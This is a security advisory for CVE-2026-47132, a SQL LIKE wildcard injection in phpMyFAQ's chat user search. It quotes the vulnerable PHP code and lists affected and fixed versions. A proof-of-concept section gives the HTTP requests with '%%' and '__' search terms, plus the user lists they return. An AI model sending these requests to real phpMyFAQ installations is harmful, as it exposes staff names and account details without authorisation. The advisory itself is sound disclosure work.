All vulnerabilities
CVE-2026-47132GHSA-6pvm-2vjj-rx4w

thorsten/phpmyfaq: phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration

thorsten thorsten/phpmyfaqcomposerLibraries & packages
CVSS
5.4Medium
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 24 Sep 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.25%Chance of exploitation activity in the next 30 days, higher than 15% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in4.2.0-alphaFixed versionGitHub
Published24 Sep 2026Updated 24 Sep 2026CVE List

What fixes it

  • 4.2.0-alphathorsten/phpmyfaq, composerGitHubcomposer require "thorsten/phpmyfaq:^4.2.0-alpha"
  • 4.2.0-alphathorsten/phpmyfaq, PackagistOSVcomposer require "thorsten/phpmyfaq:^4.2.0-alpha"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape % and _, which remain active LIKE wildcards.

Details

The vulnerable endpoint is:

  GET /api/chat/users?q=...

Source:

  // phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php
  $query = trim($request->query->get('q', ''));

  if (mb_strlen($query) < 2) {
      return $this->json([
          'success' => true,
          'users' => [],
      ], Response::HTTP_OK);
  }

  $chat = new Chat($this->configuration);
  $users = $chat->searchUsers($query, $this->currentUser->getUserId());

Sink:

  // phpmyfaq/src/phpMyFAQ/Chat.php
  $escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm));

  $query = sprintf(
      "SELECT u.user_id, ud.display_name
       FROM %sfaquser u
       LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id
       WHERE u.user_id != %d
         AND u.user_id > 0
         AND LOWER(ud.display_name) LIKE '%%%s%%'
         AND u.account_status = 'active'
       LIMIT %d",
      Database::getTablePrefix(),
      Database::getTablePrefix(),
      $excludeUserId,
      $escapedTerm,
      $limit,
  );

escape() prevents SQL string breakout, but it does not escape SQL LIKE metacharacters. Therefore, attacker-controlled % and _ are interpreted by the database as wildcards.

The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.

PoC:

Tested against:

phpMyFAQ 4.2.0-alpha commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae

Prerequisite: attacker has any valid authenticated user account.

  1. Ensure there are multiple active users in the database, for example:
  userId=2 displayName="Alice Finance"
  userId=3 displayName="Bob Support"
  userId=4 displayName="Carol Engineering"
  1. Send a normal query that should not match any user:
  GET /api/chat/users?q=zz HTTP/1.1
  Host: target
  Cookie: [authenticated session]

Observed response:

  {
    "success": true,
    "users": []
  }
  1. Send a wildcard query:
  GET /api/chat/users?q=%25%25 HTTP/1.1
  Host: target
  Cookie: [authenticated session]

Observed response:

  {
    "success": true,
    "users": [
      {
        "userId": 2,
        "displayName": "Alice Finance"
      },
      {
        "userId": 3,
        "displayName": "Bob Support"
      },
      {
        "userId": 4,
        "displayName": "Carol Engineering"
      }
    ]
  }

The same issue is reproducible with _ wildcards:

  GET /api/chat/users?q=__ HTTP/1.1
  Host: target
  Cookie: [authenticated session]

Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while q=%% and q=__ returned active users.

Impact

This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.

Video PoC:

https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f

Text from GitHub Advisory Database

Affected versions 53

  • thorsten/phpmyfaq, composer< 4.2.0-alphaGitHub
  • phpMyFAQaffected: < 4.2.0-alphaCVE List
  • thorsten/phpmyfaq, Packagistfrom first release, fixed in 4.2.0-alphaOSV
  • thorsten/phpmyfaq, Packagist2.10.0-alphaOSV
  • thorsten/phpmyfaq, Packagist2.8.0OSV
  • thorsten/phpmyfaq, Packagist2.8.0-RCOSV
  • thorsten/phpmyfaq, Packagist2.8.0-RC2OSV
  • thorsten/phpmyfaq, Packagist2.8.0-RC3OSV
  • thorsten/phpmyfaq, Packagist2.8.0-RC4OSV
  • thorsten/phpmyfaq, Packagist2.8.0-alpha2OSV
  • thorsten/phpmyfaq, Packagist2.8.0-alpha3OSV
  • thorsten/phpmyfaq, Packagist2.8.0-betaOSV
  • thorsten/phpmyfaq, Packagist2.8.0-beta2OSV
  • thorsten/phpmyfaq, Packagist2.8.0-beta3OSV
  • thorsten/phpmyfaq, Packagist2.8.1OSV
  • thorsten/phpmyfaq, Packagist2.8.10OSV
  • thorsten/phpmyfaq, Packagist2.8.11OSV
  • thorsten/phpmyfaq, Packagist2.8.12OSV
  • thorsten/phpmyfaq, Packagist2.8.13OSV
  • thorsten/phpmyfaq, Packagist2.8.14OSV
  • thorsten/phpmyfaq, Packagist2.8.15OSV
  • thorsten/phpmyfaq, Packagist2.8.16OSV
  • thorsten/phpmyfaq, Packagist2.8.17OSV
  • thorsten/phpmyfaq, Packagist2.8.18OSV
  • thorsten/phpmyfaq, Packagist2.8.19OSV
  • thorsten/phpmyfaq, Packagist2.8.2OSV
  • thorsten/phpmyfaq, Packagist2.8.20OSV
  • thorsten/phpmyfaq, Packagist2.8.21OSV
  • thorsten/phpmyfaq, Packagist2.8.22OSV
  • thorsten/phpmyfaq, Packagist2.8.23OSV
  • thorsten/phpmyfaq, Packagist2.8.24OSV
  • thorsten/phpmyfaq, Packagist2.8.25OSV
  • thorsten/phpmyfaq, Packagist2.8.26OSV
  • thorsten/phpmyfaq, Packagist2.8.27OSV
  • thorsten/phpmyfaq, Packagist2.8.28OSV
  • thorsten/phpmyfaq, Packagist2.8.29OSV
  • thorsten/phpmyfaq, Packagist2.8.3OSV
  • thorsten/phpmyfaq, Packagist2.8.4OSV
  • thorsten/phpmyfaq, Packagist2.8.5OSV
  • thorsten/phpmyfaq, Packagist2.8.6OSV
  • thorsten/phpmyfaq, Packagist2.8.7OSV
  • thorsten/phpmyfaq, Packagist2.8.8OSV
  • thorsten/phpmyfaq, Packagist2.8.9OSV
  • thorsten/phpmyfaq, Packagist2.9.0OSV
  • thorsten/phpmyfaq, Packagist2.9.0-alphaOSV
  • thorsten/phpmyfaq, Packagist2.9.0-alpha2OSV
  • thorsten/phpmyfaq, Packagist2.9.0-alpha3OSV
  • thorsten/phpmyfaq, Packagist2.9.0-alpha4OSV
  • thorsten/phpmyfaq, Packagist2.9.0-betaOSV
  • thorsten/phpmyfaq, Packagist2.9.0-beta2OSV
  • thorsten/phpmyfaq, Packagist2.9.0-rcOSV
  • thorsten/phpmyfaq, Packagist2.9.0-rc2OSV
  • thorsten/phpmyfaq, Packagist2.9.0-rc3OSV

References 4